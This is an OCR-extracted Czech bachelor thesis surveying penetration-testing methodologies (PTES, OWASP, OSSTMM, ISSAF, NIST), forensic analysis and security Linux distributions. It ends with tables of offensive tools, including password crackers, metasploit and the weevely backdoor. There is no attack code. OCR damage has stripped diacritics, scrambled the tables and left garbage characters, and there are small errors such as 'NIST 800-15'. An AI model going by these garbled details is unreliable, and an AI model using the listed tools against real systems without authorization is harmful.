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Anotace

Bakalarska prace se zabyva penetraCnim testovanim a forenzni analyzou na
linuxovych distribucich. Popisuje jednotlivé typy penetracnich testti a jejich priibéh.
Prace obsahuje charakteristiku digitalni forenzni analyzy a priibéh Setieni. Popsany
jsou jednotlivé metodiky pro penetracni testovani pouzivané v praxi. Rozebiraji se
také jednotlivé linuxové distribuce v nejnovéjSich verzich pouzivané pro ucely
penetracniho testovani, predevsim Kali Linux, Parrot Security, BackBox Linux a
BlackArch Linux. Ddle prace obsahuje sady praktickych testli fesenych pomoci
specializovanych linuxovych nastroju. V zavéru se hodnoti prakticka vyuzitelnost
téchto testli a prace s ndastroji v zavislosti na zplisobu pouzivani nastrojii, vyuziti

paméti RAM a uZivatelské privétivosti.

Annotation

Title: Linux distributions for penetration testing and forensic

analysis

The bachelor thesis deals with penetration testing and forensic analysis on Linux
distributions. Describes the various types of penetration tests and their course. The
work contains the characteristics of digital forensic analysis and the course of the
investigation. The individual methodologies for penetration testing used in practice
are described. The individual Linux distributions in the latest versions used for
penetration testing purposes are also discussed, especially Kali Linux, Parrot
Security, BackBox Linux and BlackArch Linux. Furthermore, the work contains sets
of practical tests solved using specialized Linux tools. Finally, the practical usability
of these tests and work with tools is evaluated depending on how the tools are used,

RAM usage and user friendliness.
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1 Uvod

S masivnim pouZivanim informacnich technologii po celém svété prichazi i rizika.
Nespocet hackerskych utokd po celém svété je toho dikazem. Na bezpecnost
aplikaci, webt, operacnich systémii a siti je proto kladen v dnesni dobé velky diiraz.
At uz je motivace uto¢nika jakdkoliv, snahou specialisti bezpecnosti je
minimalizovat Skody utoku. Testefi vyhodnocuji Uroven zabezpeceni systému,
aplikace ¢i webu skrz tzv. eticky hacking. Snazi se premyslet jako hacker, avSak
nikomu tim neuskodit. Vysledky téchto testi jsou poté ndpomocny pii zlepSovani

urovné zabezpeceni a minimalizace Skod utocnika.



2 Uvod do penetraéniho testovani

Vroce 2011 provedla spoletnost Ponemon Institute vyzkum ztrat, které byly

¢.1 popisuje jednotlivé penézni Uiniky a priciny téchto ztrat.

Tabulka 1 Vyzkum firmy Ponemon Institute
Zdroj: [1, s.14]

Némecko | Velka Francie Itdlie

Britanie

Podnikatelské financni | 1,33 mil. € [ 780 tis. £ | 782 tis. € | 474 tis. €
ztraty

Primérné financni ztraty na | 146 € 97 £ 122 € 78 €
jednotku
Procento zakazniku, kteri| 3,5% 2,9 % 4,4 % 3,5%

opusti spolecnost po ztraté

Priciny ztrat

Kriminalni dtoky a kradeze | 42 % 31 % 43 % 28 %
Nedbalost zaméstnancu 38% 36 % 30 % 39 %
Selhani IT 19 % 33 % 26 % 33 %

Z vysledkd studie je patrné, Ze procenta ztrat nejsou zanedbatelna.

Cilem penetracnich testi je urcit iroven zabezpeceni systémd, aplikaci a siti. Testy
by se mély zamérit jak na utok zvenci, tak i na nebezpeli interni, napt. od
zameéstnanci. Testovanim nelze odhalit kazdé zranitelné misto, proto je dtilezité se
zamérit na oblast, kterd ma pro firmu nejvétsi riziko ztraty.

Testy jsou cileny na mnoho objektti. Jednd se o webové aplikace, interni a externi
informace o zaméstnancich a klientech, emailové servery, uloZisté a FTP servery,
pristupova hesla, informacni systémy. [1, s.15]

Cile testl jsou rozmanité, a proto se sestavuji riazné typy testli urcené pro dany

objekt.



Definice

Penetracni test je mozné definovat jako legalni a autorizovany pokus klokaci a
vykofisténi informacniho systému za ucelem vyssi bezpecnosti tohoto systému.
Penetracni test zahrnuje zjisténi zranitelnych mist a nasledného popisu a zajisténi
problémi. Hlavni myslenkou je najit problémy za pomoci stejnych nastroji jako
utocnik. [30]

Penetracni test poskytuje jasné vysledky a zpétnou vazbu dosaZenych vysledkl

technikami z praxe. [33, 5.10]

Penetracni test a Vulnerability Assessment

Testovani zranitelnosti je chapano jako komplexnéjSi testovani a je Ccasto
automatizovano. Zaméruje se na seznam jizZ znamych zranitelnych mist a opakované
je provéruje. Penetracni testy pritom hledaji nova zranitelna mista a jsou provadény

manualné. [33, 5.10]
2.1 Typy testu

2.1.1 Déleni dle testovaciho objektu

Testy se primarné rozdéluji podle testovaciho objektu.

Takzvany Social Engineering Test ma za ukol odhalit citliva data, osobni informace
¢i hesla. Zamétuje se obecné na lidské pochybeni a je provadén telefonicky c¢i
prostfednictvim internetu. Odhaluje, zdali napiiklad zaméstnanci firem dodrzuji
standardy a nezminuji citlivé informace v elektronické nebo telefonni komunikaci.
Test webové aplikace ovéruje zranitelnost aplikace a softwarového programu
nasazeném v cilovém prostredi.

Fyzicky penetracni test se pouziva ve vojenskych a vladnich zatizenich. Cili se na
veskera sitova zarizeni a pristupové body.

Test sitovych sluzeb je jednim z nejcastéji provadénych testl. Testovat se miize
lokalné i vzdalené. Primarnim cilem je identifikace zranitelnosti vsiti a dale
v systémech, pocitacich a sitovych zarizenich.

Test bezdratovych zarizeni hleda méné zabezpecené a neopravnéné hotspoty nebo

WiFi sité.



Dale je moZné obecné testovat zranitelnost na strané klienta a vyhledavat tak

potenciondlni zranitelna mista. [6]

2.1.2 Déleni dle zpiisobu provedeni

Podle zptisobu provedeni se testy déli na manudlni, automatizované a

semiautomatické.

Manualni testy
Manualni testy jsou zavislé na znalostech a casovych moZnostech testera. Tester

vSak miiZe sestavit test pfimo na miru testovanému objektu.

Automatizované testy
Automatizované testy disponuji vysokou rychlosti. Jsou pro né vyvinuty specialni
nastroje, které nejsou prilis sloZité na spravu, avSak nelze testovat nékteré typy

zranitelnych mist. [1, s.16]

Semiautomatické testy

Semiautomatické testy jsou kombinaci automatizovanych a manualnich testt.

Dale lze testy délit podle mista, kde se nachazi titocnik. Externi testovani se provadi
z vnéjsi pozice, internetu. Interni testy simuluji Gtoky v interni firemni siti z pozice

zameéstnance.

2.1.3 Déleni dle znalosti testovaného objektu

Testy mohou byt rozdélovany na zakladé znalosti testovaného objektu. Jsou to

zpravidla white-box, grey-box a black-box.

White box - bila skrinka

V pripadé white-box testingu tester zna svijj cil a ma o ném dostatecny pirehled. Tyto
znalosti jsou vyhodou pfi hledani potencionalniho slabého mista. [3] Tester ma
k dispozici zdrojové kédy aplikaci, které analyzuje a pripadné i optimalizuje. [1,

s.17]

Black box - ¢erna skrinka



Pri Black-box testingu tester nedostane témér Zadnou informaci o testovaném
objektu. Tyto testy jsou cCastéji pouzivané, protoZe mohou vérné napodobit
samotného Utocnika. Pti testovani je potfeba dostatecny prizkum, ale stale je zde

riziko, Ze nebude odhaleno nékteré ze slabych mist. [1, s.17]

Vv

Grey box - Seda skrinka
Grey-box predstavuje kombinaci obou piredchozich variant. Je znama ¢ast informaci.

Je definovano rozhrani, ptistupové opravnéni a kédy front-endu.

2.2 Prubéh testu

Pribéhem a realizaci testu se podrobnéji zabyvaji jednotlivé metodiky pro
penetracni testovani. [2] Existuje i obecny popis priibéhu testu bez pouziti urcité

metodiky.

Naplanovani testu

V prvni fazi je potieba dojednat organizac¢ni zaleZitosti. Jsou vytycCeny cile testovani
a tester pripadné dostane zdrojové kody aplikace. Dale se v pripadé
semiautomatickych ¢i automatizovanych testli vybiraji nastroje, které budou
pouzity. Hlavni diraz je kladen na efektivitu nastroje, aby byl schopen pokryt
potenciondlni hrozby. Zohlediiuje se také rychlost nastroje. Jsou vybirany komer¢ni

i open-source. [3]

Sbér informaci
V této fazi je potreba ziskat mnozstvi informaci o testovaném objektu, které se odviji
podle typu testu (white-box, grey-box, black-box). [14] Tyto informace je mozZné

ziskat z verejné dostupnych zdroji nebo primou interakci s testovacim objektem.

Testovani

Béhem samotnych testi se tester postupné zaméri na jednotlivé cile, které podrobi
detailnimu prizkumu pomoci vybranych nastroji. [3] Pokud je nalezena
potencionalni hrozba, je podrobena dalsi sérii testii. Neméla by vsak byt narusena
stabilita aplikace ¢i ohroZena uzivatelskd hesla. Pokud se testerovi podafi citlivé

udaje odhalit, neméli by byt zahrnuty do zavérecného reportu. [2]



Vysledky Testovani
ZavéreCnou fazi je shrnuti vysledkli testovani, sepisuje se report. Slouzi
k prezentovani vysledkili zadavateli. Jsou navrhnuty jednotlivé kroky, které vedou

ke zlepSeni bezpecnosti testovaného objektu.



3 Digitalni forenzni analyza

Digitalni forenzni analyza predstavuje Siroce zamérenou védu. Je definovana jako
uziti osvédcenych metod kizolovani, sbéru, identifikaci, analyze, zhodnoceni a
prezentaci digitadlnich diikazi ze zdroji digitalnich dat. Ma za cil odhalit
neautorizované akce rusici naplanované operace. [4]

Analyza by méla odpovédét na konkrétni otazky o pripadu jako napt. Kdo? Kdy?
Kde? Proc¢? Jak? [41]

Aby se dala analyza dat pokladat za forenzni, vysledky Setfeni by meély byt
pouzitelné jako dikaz pro pripadné soudni procesy. [4] Analyza musi spliiovat
vlastnosti legality, integrity, opakovatelnosti a nepodjatosti. V pripadé legality musi
byt vSechny informace, vzorky a dokumenty musi byt ziskany legalni cestou.
Integrita znamen3, Ze veskera prace se vstupnimi informacemi musi byt provadéna
jednoznacné a jasné tak, aby nenastalo podezieni z imyslné i netmyslné
manipulace. [5] Opakovatelnost ma zajistit stejné vysledky i pii opakovatelném
pouziti stanovenych metod. Nepodjatost je nezavislost zkoumaného objektu a
vySetrovatele.

Nejdilezitéjsi ¢asti forenzni analyzy je samotna dokumentace, bez ni by nebylo
moZné splnit vlastnosti popsané vyse. Méla by mit dostatecnou odbornost. [5]
Problémem dnesni forenzni analyzy je kvalifikace odbornych znalci a tim i

spravnost posudku. [18]

3.1 Prubéh setieni

Nejprve je vhodné zamérit se na docasna data. Pri detekci problému by mél pocitac
byt stale spustén, aby bylo mozné zdokumentovat pripadné dlikazy. Hrozi zde riziko
neumyslné manipulace s daty, proto je diilezité mit i dostate¢ny piehled o zkoumané
oblasti. [4]

Pokud je to mozZné, doporucuje se duplikovat napadené médium, aby se zamezilo

pripadnému ovlivnéni ptivodniho média, které miize slouzit jako dikaz. K duplikaci

vvvvvv



Z média jsou poté vyjimany data. Nejsnazsi je to v pripadé dat primo viditelnych na
disku. Casové i finan¢né naro¢néjsi je zisk tzv. latentnich dat, coZ jsou smazané nebo
CasteCné prepsané soubory. [4]

MiiZe nastat situace, Ze data jsou zaSifrovana. V tomto pripadé je potreba za pomoci
klice data rozSifrovat. Pokud se vSak zkouma médium utocnika, Sifra nemusi byt
prolomena, zvlasté, pokud je Sifrovan cely systém. Tyto dikazy jsou vySetirovatelim
skryty a nemohou byt pouZity.

Vyhledavani diikazii je provaddéno vice druhy analyz. Fyzickd analyza hleda

konkrétni vzorek na fyzickém médiu, napt. v urcitém sektoru disku. Logicka analyza

zkouma jednotlivé soubory, nezavisle na jejich misté uloZeni.

3.2 Typy analyz

Analyza casové stopy je prehled informaci o datech a case. Je zamérena na data a
logovaci soubory relevantni pro vySetrovani. [41]

Analyza skryvani dat je metoda porovnani souboru, kdy se kontroluje hlavicka
souboru s piiponou za ucelem urceni podvrzenych soubord. Proces podporuje
pristup odbornikli pouze ke komprimovanym souboriim a souboriim chranénym
heslem. [41]

Analyza aplikaci a soubort slouzi k prezkoumani nazvi soubort, jejich obsahu a
identifikaci operacnich systémt. Dale slouzi ke zkoumani internetové historie,
zkoumani nezndmych typi soubort a vychozi umisténi ulozisté. Odhali konfiguraci

uzivatele a metadata soubori. [41]



4 Standardy a metodiky pro penetracni testovani

Metodiky penetra¢niho testovani napomahaji testerlim se samotnymi testy. Pokud
ma tester minimalni zkuSenosti, je vhodné vyuzit nékteré z metodik, aby jeho test
byl dostatecné obsahly a otestoval veskeré moZnosti. Metodiky také rozdéluji

samotny test do nékolika ¢asti - krok, coz je daleko piehlednéjsi a efektivnéjsi.

4.1 PTES

Vroce 2009 vznikal Penetration Testing Execution Standard jako mysSlenka Sesti
konzultantd, ktefi se snazili vyporadat s tehdejSimi nedostatky v oblasti informacni
bezpecnosti. PTES nebyl prvnim standardem, vznikaly vedle néj napt. ISSAF nebo
OSSTMM. [7]

Implementacni norma se skldda ze sedmi hlavnich ¢asti. Svym rozsahem pokryvaji
vSe souvisejici stestem. Od pocatecni komunikace a tvah po shromazdovani
informaci a modelovani hrozeb. Zavér je poté v podobé reportu, ktery zachycuje cely
proces v Citelné formé pro zakaznika. [8]

Penetration Testing Execution Standard se sklada z téchto ¢asti:

Pocatecni interakce

vvvvvv

Kazdy projekt by mél mit vymezenou cenu a délku trvani. Zakaznik by mél také
dodat rozsah IP adres své sité, z pravniho hlediska neni vhodné utocit naslepo. Dale
se ovéruje, zdali zakaznik vlastni DNS server a e-mailovy server, ovéfuje se také
aktualni hardware, na kterém servery béZzi. Dale musi byt identifikovany zemé,
provincie a staty, ve kterych piisobi cilové prostredi. Zakony se lisi v jednotlivych
regionech a testovani mize byt velmi ovlivnéno témito zakony. Napiiklad zemé,
které jsou Cleny Evropské unie, jsou vSeobecné zndmy tim, Ze maji velmi prisné
zakony tykajici se soukromi jednotlivct, coz mlize vyznamné zménit zpiisob, jakym
by byla provadéna angaZovanost v oblasti socidlniho inZenyrstvi. BEhem pocatecni
komunikace se zakaznikem se reSi nékolik otazek, které maji za cil porozumét

pozadavkim Klienta. [23]



Shromazdéni informaci

Shromazd'ovani informaci provadi prizkumy proti cili, aby bylo mozné shromazdit

co nejvice informaci, které maji byt vyuzity pti pronikani cile béhem faze posuzovani
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zranitelnosti a vykoristovani. Cim vice informaci je ziskano béhem této faze, tim vice
vektord dtoku je mozno vyuZit v budoucnu. Shromazdéni informaci je rozdéleno
mezi 3 zakladni rovné. Prvni Groven shromazdéni informaci se res$i na drovni
automatizovanych testi. Druhd droven je resena ¢astecné manudlné a castecné
automatizovana. Treti zahrnuje vyspélé penetracni testy a je tvorena z velké ¢asti

manualni analyzou. [24]
Modelovani hrozeb

Tato Cast definuje pristup k modelovani hrozby, ktery je vyZadovan pro spravné
provedeni penetracniho testovani. Standard se zaméruje na dva prvky - majetek a

utocnik, které se dale modeluji. [25]
Analyza chyb zabezpeceni

Testovani zranitelnosti je proces zjisStovani nedostatkii v systémech a aplikacich,
které mohou utocnici vyuzit. Tyto nedostatky se mohou nachazet u hostitele z
diivodu nespravné konfigurace sluzby nebo z divodu nejistého navrhu aplikace.

[26]

Vykoristovani

Faze vykoristovani penetracniho testu se zaméruje pouze na ziskani pristupu k
systému nebo zdroji tim, Ze obchazi bezpecnostni omezeni. [27]

Faze po vykoristovani

Ucelem této faze je stanovit hodnotu testovaného stroje a udrZet kontrolu nad
strojem pro pozdéjsi vyuZiti. Metody v této fazi pomahaji testerovi identifikovat

citliva data, konfigura¢ni nastaveni a komunikacni kanaly. [28]
Report (hlaseni)

Report je rozdélen mezi dvé hlavni ¢asti. Prvni ¢ast seznamuje s cili testu a druha
sdéluje technické podrobnosti testy. V této technické Casti je podrobné popsan

rozsah, informace, napadena cesta, dopady a navrhy na napravu. [28]



4.2 OWASP

Open Web Application Security Project byl prvné publikovan v roce 2001. V roce
2004 byla zaloZena neziskova organizace OWASP Foundation. Jedna se o otevienou
komunitu, vSechna féra, ¢lanky, nastroje a dokumentace jsou zdarma k nahlédnuti.
[9] OWASP je moZno vnimat jako soubor doporucenti pro lepsi zabezpeceni webové
aplikace.

OWASP se tidi nékolika principy:

e Volny a otevireny

e DodrZuje eticky kodex

e Neni pro zisk

e Nevztahuje se na obchodni zajmy

e Pristup zaloZeny na rizicich

OWASP projekty déli obecné na vyvojarské a dokumentacni, pricemzZ vyvojarské
projekty jsou samotné nastroje napomahajici pti testovani. Prikladem vyvojarského
projektu je napriklad WebScarab, coZ je nastroj pro testovani zranitelnosti
webovych aplikaci. Mezi dokumentacni projekty patti napt. The Guide (pokyny pro
zabezpeceni webové aplikace), Metrics (metriky zabezpeceni webovych aplikaci),
Testing Guide (priivodce testovanim zabezpeceni webovych aplikaci) a OWASP Top
Ten (nejkritictéjsi problémy webovych aplikaci).

OWASP pravidelné aktualizuje sviij Top Ten. Pro srovnani je zde uvedena tabulka

vletech 2013 a 2017. [10]



Tabulka 2 OWASP Top 10 porovnani
Zdroj: [36], [37]

OWASP Top Ten 2013

OWAS Top Ten 2017

A1 - Injection

A1 - Injection

A2 - Broken Authentication and
Session Management

A2 - Broken Authentication

A3 - Cross-Site Scripting

A3 - Sensitive Data Exposure

A4 - Insecure Direct Object References

A4 - XML External Entities

A5 - Security Misconfiguration

A5 - Broken Access Control

A6 - Sensitive Data Expose

A6 - Security Misconfiguration

A7 - Missing Function Level Access

A7 - Cross-Site Scripting

A8 - Cross-Site Request Forgery

A8 - Insecure Deserialization

A9 - Using Components with Known
Vulnerabilities

A9 - Using Components with Known
Vulnerabilities

A10 - Unvalidated Redirects and | A10 - Insufficent Logging and
Forards Monitoring
4.3 OSSTMM

Vznik Open Source Security Testing Methodology Manual zatidila firma ISECOM

(Institut pro bezpecnost a oteviené metodiky). Prvni verze OSSTMM vysla v roce

2001. [11] Na webu ISECOM je dostupna aktualni verze OSSTMM3, je vydana i

noveéjsi verze 0SSTMM4, ta je vSak dostupna pouze pro omezenou komunitu.

V ptipadé OSSTMM se opét jedna o velice Siroce zamérenou metodiku. Samotny

dokument je rozdélen do 15 kapitol. (nasledujici seznam kapitol vychazi z [13])

1. Co je potieba védét - tyka se informacni bezpecnosti, ovladacich prvki,

omezeni

2. Co je potfeba udélat - tyka se definice bezpecfnostniho testu, rozsahu

plisobnosti, procesu Ctyi bodt




3. Analyza zabezpecCeni - tykd se kritického bezpecnostniho mysSleni,
rozpoznani modelu OpSec, charakteristiku vysledki

4. Operacni bezpecnostni metriky - tyka se metriky RAV (Risk Assassment

Values)

Analyza divéryhodnosti - divéryhodnost a jeji pravidla

Work Flow - tok metodologie OSSTMM, testovaci moduly

Human Security Testing - testovani personalu o bezpec¢nosti

® N o u

Physical Security Testing - tykd se analytikii s dlrazem na fyzickou
vytrvalost

9. Wirless Security Testing - testovani bezdratové sité

10. Telecommunications Security Testing - testovani telekomunikacni sité

11. Data Networks Security Testing - testovani datovych siti

12. Dodrzovani predpist

13. Reporting se STAR (Security Test Audit Report)

14. Co bude ziskano

15. Oteviend metodika

OSSTMM pracuje s tzv. RAV metrikami. RAV metrika (metrika zranitelnsti) urcuje,
zdali testovany objekt je v poradku, poddimenzovany nebo naddimenzovany.
Vypocet konkrétnich hodnot je zaloZen na vzorci, do kterého je nutné vlozit 3 vstupy
- pristup, viditelnost a dlivéra. Diky tomuto vypoctu je mozné odhalit, kde jsou slaba

mista a na co se zamérit. [12]

4.4 I1SSAF

Information systems security assessment je framework poskytovany instituci Open
Information Systems Security Group, neziskovou organizaci z Londyna. Dokument
poskytuje hodnoceni, strategie a kontrolni seznamy na zlepSeni informacni
bezpecnosti.

Dokument je rozdélen na 2 hlavni ¢asti - metodika a jeji vysvétleni. V prvni ¢asti je
popsano planovani a priprava testu. Dale je vysvétleno 9 krokli penetracniho

testovani: [16]

1. Shromazdovani informaci



Mapovani sité

Identifikace zranitelnosti

Penetrace

Ziskani pristupu a opravnéni

Dalsi vycisleni

Komprimace vzdaleného uZivatele, webu

Zachovani pristupu

© ® N o 1w N

Skryti stop

Zavér prvni casti se zabyva pokyny na sepsani zavérecné zpravy. V druhé casti je

detailné vysvétlen kazdy krok testovani.

4.5 NIST 800-15

The Nation Institute of Standards and Technology Special Publication je technicka
prirucka pro testovani a vyhodnoceni bezpecnosti. Vydava ji Information
Technology Laboratory. [15]

Prirucka je ¢lenéna na 8 ¢asti a 6 priloh, pricemz jednotlivé ¢asti jsou: [15]

e Uvod

e Testovani bezpecnosti a piehled zkousek
e Techniky revize

e Techniky identifikace a analyzy cili

e Techniky ovéreni zranitelnosti

e Planovani hodnoceni bezpecnosti

e Provadéni hodnoceni bezpecnosti

e Aktivity po testovani



4.6 Porovnani metodik

Tabulka 3 Porovnani metodik
Zdroj: vlastni

PTES OWASP | OSSTMM ISSAF NIST 800-15
Rozsah 7 Casti - 15 casti 9 kroki 8 casti
Vhodné Infrastruktura | Webové | Infrastruktura | VSeobecné | Sitova
zaméreni aplikace infrastruktura

OWASP neni primo metodika jako takova, je to souhrn nékolika projektt, které
napomahaji pri testovani webovych aplikaci. Pravidelné jsou na webovych
strankach (https://owasp.org/) aktualizovany ¢lanky a nejnovéjsi projekty. Jako
nejznameéjsi se da povazovat OWASP Top 10.

Nejrozsahlejsi metodika do poctu stran i obsahové je OSSTMM, hodi se spiSe pro
pokrocilejsi testery. PTES, NIST nebo ISSAF jsou vhodné i pro zacatecniky.

Pro testy infrastruktury jsou vhodné PTES, OSSTMM, NIST i ISSAF. V praxi se
vétSinou vyuzivaji kombinace téchto metodik, ale je mozné se setkat i s firmami,

které testuji podle jedné konkrétni metodiky.




5 Linuxové distribuce pro penetracni testovani

Pro penetrac¢ni testovani se ¢asto vyuzivaji open source operacni systémy Linux.
JelikoZ je k dispozici otevireny zdrojovy kéd, je mozné systém prizpiisobit tak, aby se
choval podle nasSich pozadavkl. Chceme-li ucinné penetrovat, musime znat a
pochopit sviij operacni systém a operacni systém, na ktery je zamyslen utok. Linux
je zcela transparentni, coZ znamena, Ze jsou viditelné a manipulovatelné vSechny
jeho pracovni ¢asti. U operacniho systému Windows tomu tak neni. Microsoft se
naproti tomu umoznuje vyuziti systému na vSech trovnich. Pfes terminal je moZné
ovladat a prizptlisobit téméf vse. [31, s.8]

Vétsina linuxovych distribuci se instaluje jako klasicky operacni systém. Je vSak
mozné je pouzit i ve formé Live CD, kdy je operacni systém uloZen na bootovatelném
CZ. Neni proto nutnost instalovat systém do pevné pameéti. Vyuzivany jsou také

virtualizace téchto OS napft. v programech VMware nebo VirtualBox.

5.1 Kali Linux

Kali Linux je bezpecnostni distribuce zaloZena na Debianu. Je ur¢ena bezpe¢nostnim
pracovnikiim a IT administratorlim, coZ umoZziuje provadét pokrocilé penetracni
testovani i forenzni analyzu. Distribuce Debian je znama pro svoji kvalitu a stabilitu.
Kali linux na néj bezprostredné navazuje, obsahuje vsak navic pies 300 specialnich
nastroju. [17]

Projekt Kali Linux odstartoval v roce 2012, kdy mél nahradit projekt BackTrack.
Prvni verze (1.0) byla vydana v bireznu 2013. O udrZbu se stara spolec¢nost Offensive
Security, ktera zaroven zajiSt'uje certifikaci OSCP. [34, s.28]

Aktualni verze 2020.1 byla vydana v lednu 2020 a prinasi oproti verzim minulym
zdsadni zménu. Diive probihalo prihlaseni a operace pod superuZivatelem root.
V této verzi je vSak nahrazen klasickym uZivatelem. Aplikace vyZadujici uZivatele
roota si o prava interaktivné reknou. VypusSténim defaultniho uZivatele root ma
podle Offensive Security zjednodusit udrzbu systému a pro koncové uZivatele ma
byt pouzivani méné problémové, jelikoz ¢im dal vice uzivateli pouziva Kali Linux

jako kazdodenni platformu, aniZ by vyuzivali specializované nastroje. [35]
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5.2 Parrot Security

Parrot Security je bezplatna open source distribuce zaloZena na Debianu. Obsahuje
velkou skalu nastrojt jak pro penetracni testovani a forenzni analyzu, tak pro vyvoj
vlastnich aplikaci. Prvni verejné vydani se objevilo 10. dubna 2013 jako vysledek
prace Lorenza Faletra, ktery pokracuje v dal$im vyvoji. Pivodné byl vyvinuty jako
soucast Frozenboxu, Gsili se rozrostlo tak, aby zahrnovalo komunitu vyvojari s
otevienym zdrojovym kddem, profesionalnich bezpec¢nostnich odbornikii, obhajci
digitalnich prav a nadSenci Linuxu z celého svéta.

Parrot Security byl navrzen tak, aby byl pro bezpecfnostni experty a vyzkumné
pracovniky velmi komfortni. Obsahuje mnoho zdkladnich programi pro kazdodenni
pouziti, které obvykle distribuce pro penetracni testovani neobsahuji. Tato volba
byla prijata proto, aby se Parrot stal nejen dobrym systémem pro provadéni
bezpecnostnich testii, ale také dobrym prostredim, kde se mohou psat zpravy,
vytvaret vlastni nastroje a bezproblémové komunikovat bez nutnosti dalSich

pocitaci, operacnich systémi nebo konfigurace. [19]



Aktualni verze Parrot Security 4.8 byla vydana v breznu 2020.
Parrot Security nabizi dvé varianty - jednu specializovanou na bezpectnost a druhou
nikoliv. Mezi nastroji bezpecnosti najdeme napf. testy webovych aplikaci a stranek,

nastroje na prolomeni hesel a nastroje pro zachytavani a analyza sitového provozu.

[20]
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5.3 BackBox Linux

BackBox je Linuxova distribuce postavena na Ubuntu. Byla vyvinuta pro provadéni
penetracnich testli a hodnoceni bezpecnosti. Je navrzena tak, aby byla rychl3,
snadno pouzitelna a poskytovala minimalni, ale dokonalé desktopové prostredi.

Aktualni verze 6 vysla v Cervnu 2019. [21]
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5.4 BlackArch Linux

BlackArch Linux je odvozen z Arch Linux. Jedna se o dalsi operacni systém urceny
pro specialisty kybernetické bezpecnosti. Oproti tfem predchozim verzim se ale
podstatné 1isi svym provedenim. Neobsahuje klasicky desktop, ale sadu mensich
prednastavenych oken. Aktualni verze 2020.1.1 byla vydana v lednu 2020.

Obsahuje az pres 2300 nastroji z oblasti Sifrovani, steganografie, kryptografie,

obrany apod. [22]



b menu

1

k
menu = m
m
mobile
mobileblackarch-reversing
networking

data
dEhuqq

tunnel
unpacker
volp
webapp
windows

firmware
forensic
¥

hardware
honeypot

wirele

¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ r ¥r¥ ¥y ¥ ¥ vy ¥y ¥y ¥ ¥ F[r"ryvy 7 ¥ U Trrw

-
-
-
-
L3
L3
L3
L3
L3
L3
L3
L3
L3
L3
L3
-
-
-
-
-
-
-
-
-
-

Obrazek 4 BlackArch Linux 2020.1.1
Zdroj: vlastni

5.5 Dalsi vyuZivané distribuce

DEFT Linux je zaméren na digitalni forenzni analyzu. Za cil si klade provozovat Zivy
systém bez posSkozeni ¢i manipulace se zatizenimi pripojenymi k pocitaci, kde
probiha bootovani. Vhodnym nastrojem miiZe byt Pentoo Linux, ktery je zaloZen na
architektuie Gentoo Linuxu. Ddle je mozZné vyuzit Fedora Security Spin, ktera se

zaméruje na bezpecnostni audit a testovani a mliZe byt také pouzita pro acely vyuky.

5.6 Vybrané nastroje
Kali Linux

Tabulka 4 Vybrané nastroje Kali Linux

Zdroj: [38]
Shromazdéni dmitry Zakladem je schopnost shromazdit mozné
informaci subdomény, emailové adresy, sken portti TCP a

informace o dostupnosti.



Analyza
chyby

zabezpeceni

Webové
aplikace

Databazové

nastroje

Utoky na
heslo

maltego

nmap

dnmap

recon-ng

Lynis

unix-
privesc-
check

cisco torch

skipfish

wpscan

websploit

burpsuite

SQLite
database
browser

sqlmap
crunch
johnny the

ripper
ncrack

Maltego lze pouzit pro fazi shromazd'ovani
informaci o veskeré praci souvisejici se
zabezpecenim. Zneskodni lidi, vztahy,
organizace, webové stranky, domény atd.
Nmap se vyuziva pro zjiStovani sité a
bezpecnostni audit.

Dnmap vyuziva vytvorenych soubori v Nmap,
dokaze je poslat na klienta.

Recon-ng poskytuje vykonné prostredi, ve
kterém lze rychle a dlikladné provadét webovy
prizkum otevireného zdroje.

Prohledava systém a urcuje konfiguracni
nedostatky software.

Pokousi se najit nespravné konfigurace, které by
umoznily mistnim neprivilegovanym uzivateltim
eskalovat opravnéni ostatnim uZzivatelim nebo
piistup k mistnim aplikacim.

Nastroj pro hromadné skenovani, snimani otiski
prsti a vykoristovani spolecnosti Cisco.

Aktivni nastroj pro prazkum zabezpeceni
webovych aplikaci.

Black-box sken zranitelnosti aplikaci
postavenych na Wordpressu.

Komplexni framework pro analyzu zabezpeceni
a testovani webovych aplikaci.

Integrovand platforma pro provadéni testovani
zabezpeceni webovych aplikaci.

Vizualni nastroj pro tvorbu, design a tpravu
SQLite soubort.

Nastroj pro automatizaci procesu zjiStovani a
zneuzivani chyb v SQL.

Generator seznami slov za ticelem utoku na
heslo.

Kombinace rychlosti a nékolika crackovacich
rezimd.

Vysokorychlostni sitovy crackovaci nastroj
nastroj.



Bezdratové
utoky

Reverzni
inZenyrstvi

Vykoristovaci
nastroje

Sniffing a
spoofing

Nastroje pro
fazi po
vykoristovani

Nastroje pro
forenzni
analyzu

Nastroje pro
report

Nastroje pro
socialni
inZenyrstvi

worldlists

aircrack-ng

ghost
phising

wifite
apktool
javasnoop
metasploit-
framework
armitage

wireshark

proxychains

weevely

binwalk

peepdf

pipal

faraday IDE

maltego

Balicek obsahujici sviij specificky seznam
rockyou, obsahuje také odkazy na dalsi slovniky.
Nastroj pro prolomeni hesel siti, které vyuzivaji
WEP Sifrovani.

Bezdratovy a ethernetovy nastroj, dokaze
podvrhnout HTTP, DNS, DHCP server i WiFi
access point.

Nastroj pro bezdratové utoky na vSechny typy
Sifrovani.

Debugger pro Android aplikace

Napodobeni debuggeru, dokdze manipulovat s
metodami a spoustét si vlastni kod.

Platforma, kterd umozni najit, zneuZit a ovérit
zranitelnosti.

Doplnék pro nastroj Metasploit, vizualizuje cile a
doporucuje konkrétni druh vykoristovani.
Nejpopularnéjsi nastroj pro analyzu sitovych
protokolt a komunikace po siti.

Nastroj pro presmérovani komunikace na jinou,
zajiSt'uje jistou anonymitu.

Nastroj pro simulaci pripojeni podobnému
telnetu, pouZiva se jako tajny backdoor.

Urcen pro identifikaci soubort a kddu vloZeného
do obrazt firmwaru.

Nastroj pro sken pdf soubori, urcuje skodlivost
souboru.

Nastroj z analyzy hesel dokaZe vytvorit
piehledné statistiky.

Webové rozhrani poskytujici prehledné
informace

Maltego je jedinecna platforma vyvinuta za
Ucelem poskytnuti jasného obrazu hrozby pro
prostredi, které organizace vlastni a provozuje.



Parrot Security

Tabulka 5 Vybrané nastroje Parrot Security
Zdroj: OS Parrot Security

Shromazd ovani

informaci

Hodnoceni

zranitelnosti

Analyza
webové
aplikace

Nastroje pro

databaze

Nastroje pro
vykoristovani

Nastroje pro

fazi po

vykoristovani

ike-scan

maltego

recon-ng
wireshark

golismero

lynis

unix-privesc-

check

wpscan

webscarab

owasp-zap

httrack

sqlmap

SQLite

armitage

shellnoob

websploit

backdoor-
factory

powersploit

Nastroj pro objeveni hostitele (IPsec VPN
servery).

Nastroj pro vytéZovani a shromazd ovani
informaci

